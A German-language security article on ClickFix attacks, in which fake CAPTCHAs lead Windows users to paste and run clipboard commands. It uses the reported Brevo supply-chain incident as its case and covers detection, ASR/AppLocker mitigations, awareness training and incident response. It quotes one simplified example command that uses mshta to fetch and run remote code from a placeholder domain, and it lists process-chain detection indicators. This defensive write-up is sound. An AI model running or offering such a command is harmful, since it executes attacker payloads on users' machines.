Kurz gesagt: Ein ClickFix-Angriff bringt Windows-Nutzer über eine gefälschte Fehlermeldung oder ein manipuliertes CAPTCHA dazu, selbst einen bösartigen Befehl auszuführen – meist per Win+R und PowerShell. Statt eine Datei herunterzuladen, kopiert das Opfer den Schadcode aus der Zwischenablage und startet ihn eigenhändig. Genau das umgeht viele klassische Schutzmechanismen.
Ein ClickFix-Angriff braucht keine Sicherheitslücke im Betriebssystem. Er braucht nur einen Nutzer, der eine Fehlermeldung ernst nimmt, und ein Fenster, das aussieht wie eine ganz normale Verifizierung. Genau deshalb ist diese Masche seit rund zwei Jahren so erfolgreich – und im September 2026 sorgte ein Vorfall beim Marketing-Anbieter Brevo dafür, dass gleich Zehntausende fremde Websites zur Verteilerplattform für ClickFix-Skripte wurden.
Ein ClickFix-Angriff täuscht Nutzer mit gefälschten Fehlermeldungen und CAPTCHAs
Das Grundprinzip ist simpel: Eine kompromittierte oder bösartige Website zeigt eine angebliche Fehlermeldung, ein defektes CAPTCHA oder eine „Sicherheitsüberprüfung“ an. Statt eines Klicks auf einen Button verlangt die Seite, dass der Nutzer eine Tastenkombination drückt und einen bereits in die Zwischenablage kopierten Befehl einfügt.
Damit unterscheidet sich ein ClickFix-Angriff grundlegend von klassischen Drive-by-Downloads. Es wird keine Datei ausgeführt, die der Virenscanner blockieren könnte. Stattdessen führt der Anwender die schädliche Zeile selbst über eine vertrauenswürdige Windows-Komponente aus, etwa PowerShell oder mshta.exe.
Der Fall Brevo zeigt, wie ein gestohlener API-Key zur Supply-Chain-Attacke wird
Beim aktuellen Fall hatten Angreifer einen dauerhaft gültigen Cloudflare-API-Key erbeutet, der fest im Quellcode von Brevo hinterlegt war. Mit vollen Kontoberechtigungen erstellten sie einen bösartigen Cloudflare Worker, der Inhalte direkt am CDN-Rand veränderte – rund fünfeinhalb Stunden lang, ohne dass klassische Integritätsprüfungen anschlugen.
Betroffen waren Seiten von brevo.com, sendinblue.com und sibforms.com sowie eingebettete Skripte wie das Brevo-Formular, das Conversations-Widget und der SDK-Loader. Weil diese Komponenten auf zehntausenden Kundenwebsites eingebunden sind, verbreitete sich der ClickFix-Angriff quasi automatisch mit – laut Sicherheitsfirma Sansec waren bis zu 100.000 Websites potenziell betroffen. Auf WordPress-Seiten prüfte das Skript zusätzlich, ob der Besucher als Administrator angemeldet war, und versuchte dann, ein getarntes Plugin namens „Web Media Optimizer“ als dauerhafte Backdoor zu installieren.
ClickFix funktioniert, weil er auf Routine und Zeitdruck setzt
Die Psychologie dahinter ist banal, aber wirksam. Nutzer sind es gewohnt, CAPTCHAs zu lösen und Fehlermeldungen wegzuklicken. Eine Anleitung, die genau drei Schritte vorgibt – Win+R drücken, einfügen, Enter – wirkt harmlos, weil sie keine ungewöhnliche Aktion verlangt.
Zudem entfällt bei einem ClickFix-Angriff der Moment, in dem Sicherheitssoftware typischerweise eingreift: der Download. Der Nutzer wird zum ausführenden Werkzeug, während die eigentliche Schadkomponente erst zur Laufzeit nachgeladen wird. Für Awareness-Trainings ist das eine wichtige Botschaft: Verdacht sollte nicht erst bei einer Datei entstehen, sondern schon bei der Aufforderung, selbst einen Befehl einzugeben.
Der technische Ablauf reicht von der Zwischenablage bis zur Ausführung über mshta und PowerShell
Der Ablauf eines ClickFix-Angriffs folgt meist demselben Muster: JavaScript auf der präparierten Seite schreibt einen Befehl in die Zwischenablage, sobald der Nutzer eine bestimmte Aktion auslöst. Anschließend erscheint die gefälschte Anleitung, die zum Einfügen und Ausführen auffordert.
Der eingefügte Befehl lädt in der Regel über mshta.exe, powershell.exe oder curl weiteren Code von einer entfernten Domain nach. Ein typisches, stark vereinfachtes Beispiel für einen solchen Befehl sieht so aus:
mshta https://beispiel-domain[.]tld/verify.htaVon dort aus folgt meist ein PowerShell-Loader, der die eigentliche Payload nachlädt, oft verschleiert und mehrstufig, um signaturbasierte Erkennung zu umgehen.
Admins erkennen ClickFix-Angriffe an bestimmten Prozessketten und Log-Einträgen
Für die Erkennung lohnt sich der Blick auf ungewöhnliche Elternprozesse. Startet explorer.exe direkt mshta.exe oder powershell.exe mit verdächtigen Parametern wie -encodedcommand oder -windowstyle hidden, ist das ein starkes Indiz.
- Sysmon Event ID 1 (Prozesserstellung) mit auffälligen Kommandozeilen
- Defender for Endpoint: Warnungen zu „Suspicious mshta execution“ oder „PowerShell downloading content“
- Auffällige Zwischenablage-Zugriffe kurz vor der Prozesserstellung
- Netzwerkverbindungen von Office- oder Skriptprozessen zu neu registrierten Domains
Wer bereits Erfahrung mit der Erkennung staatlich gesteuerter Malware hat, findet in der Analyse verdächtiger Prozessketten bei APT-Angriffen viele übertragbare Prinzipien für die tägliche Log-Auswertung.
AppLocker, WDAC und ASR-Regeln stoppen die Ausführung zuverlässig
Technisch lässt sich ein ClickFix-Angriff an mehreren Stellen unterbrechen. Attack Surface Reduction Rules in Microsoft Defender blockieren gezielt den Missbrauch von Skript-Interpretern wie mshta oder wscript, wenn diese von Office-Anwendungen oder dem Explorer gestartet werden.
Zusätzlich schränkt der PowerShell Constrained Language Mode die verfügbaren Sprachfeatures ein und erschwert das Ausführen von verschleiertem Code erheblich. AppLocker oder Windows Defender Application Control (WDAC) verhindern darüber hinaus, dass nicht signierte Skripte überhaupt starten. Die genaue Regelkonfiguration dokumentiert Microsoft in den offiziellen ASR-Regelreferenzen.
Intune und Entra ID liefern zusätzliche Schutzebenen
Über Intune lassen sich Defender-Richtlinien und ASR-Regeln zentral ausrollen, statt sie einzeln auf jedem Gerät zu pflegen. Browser-Policies können zudem das automatische Öffnen von „Ausführen“-Dialogen aus dem Browser heraus einschränken.
Conditional Access in Entra ID hilft, wenn ein ClickFix-Angriff bereits Zugangsdaten oder Sitzungstoken erbeutet hat. Wer sich mit der Absicherung von Anmeldesitzungen beschäftigt, findet ergänzende Hinweise im Artikel zum Schutz vor Session-Token-Diebstahl in Entra ID. Auch die Geräteeinrichtung über Windows Autopilot Device Preparation spielt eine Rolle, weil sauber verwaltete Geräte konsistentere Richtliniendurchsetzung erlauben.
Auch die eigene Website kann zur Angriffsfläche werden
Der Brevo-Vorfall zeigt eindrücklich, dass ClickFix-Angriffe längst nicht nur über offensichtlich bösartige Seiten laufen. Ein einziger fest im Code hinterlegter API-Key genügte, um Inhalte auf tausenden Kundenwebsites unbemerkt zu manipulieren.
Wer eingebettete Drittanbieter-Skripte nutzt, etwa Formular- oder Chat-Widgets, sollte deren Integrität regelmäßig prüfen und Subresource Integrity einsetzen, wo möglich. Zudem gehören API-Keys nicht in den Quellcode, sondern in einen Secrets-Manager mit kurzer Gültigkeit und engem Rechteumfang.
Praxistipp: Prüfe stichprobenartig, welche externen Skripte deine wichtigsten Unternehmensseiten tatsächlich nachladen – viele Admins kennen nur die eigenen Einbindungen, nicht deren Abhängigkeiten von Drittanbietern.
Security Awareness entscheidet, ob Mitarbeitende den Trick durchschauen
Die wirksamste Verteidigung gegen einen ClickFix-Angriff bleibt aufgeklärtes Personal. Mitarbeitende sollten wissen: Kein legitimes CAPTCHA und keine echte Fehlermeldung verlangt jemals, einen Befehl über Win+R einzufügen und auszuführen.
Regelmäßige Schulungen sollten dieses konkrete Muster zeigen, nicht nur allgemeine Phishing-Warnungen. Wer die Reaktion trainiert – Fenster schließen, IT informieren, nichts einfügen – reduziert das Risiko erheblich, unabhängig von der technischen Schutzebene.
Nach einem erfolgreichen ClickFix-Angriff zählt jede Minute
Ist die Ausführung bereits erfolgt, zählt schnelles Handeln. Das betroffene Gerät sollte umgehend vom Netzwerk isoliert werden, ohne es sofort herunterzufahren, damit forensische Spuren im Arbeitsspeicher erhalten bleiben.
Anschließend folgen die Auswertung der Prozess- und Netzwerklogs, das Zurücksetzen betroffener Zugangsdaten und die Prüfung auf Persistenzmechanismen wie geplante Tasks oder manipulierte Autostart-Einträge. Eine strukturierte Vorgehensweise dafür liefert der Incident Response Plan für Sysadmins. Sind personenbezogene Daten betroffen, greift zusätzlich die Meldepflicht, die im Beitrag zur 72-Stunden-Frist nach einem Datenleck beschrieben ist.
Häufige Fragen zu ClickFix-Angriffen
Was macht einen ClickFix-Angriff so gefährlich?
Er umgeht klassische Download-Schutzmechanismen, weil der Nutzer den Schadcode selbst über eine legitime Windows-Komponente ausführt, statt eine infizierte Datei zu öffnen.
Wie erkenne ich einen ClickFix-Angriff im Alltag?
Verdächtig ist jede Aufforderung, Win+R zu drücken, einen kopierten Befehl einzufügen und mit Enter zu bestätigen, um ein CAPTCHA zu lösen oder einen Fehler zu beheben.
Welche Windows-Bordmittel nutzt ClickFix typischerweise?
Am häufigsten kommen mshta.exe, powershell.exe sowie curl zum Einsatz, da diese Prozesse in vielen Umgebungen standardmäßig erlaubt und selten gesperrt sind.
Wie schützt AppLocker gegen ClickFix-Angriffe?
AppLocker beziehungsweise WDAC blockieren die Ausführung nicht signierter oder nicht freigegebener Skripte, sodass der über die Zwischenablage eingeschleuste Befehl gar nicht erst starten kann.
Betreffen ClickFix-Angriffe nur einzelne Websites oder auch Zulieferer?
Wie der Fall Brevo zeigt, reicht ein kompromittiertes Drittanbieter-Skript, um zehntausende Websites gleichzeitig zur Verteilung von ClickFix-Inhalten zu missbrauchen. Details dazu liefert der ursprüngliche Bericht von BleepingComputer.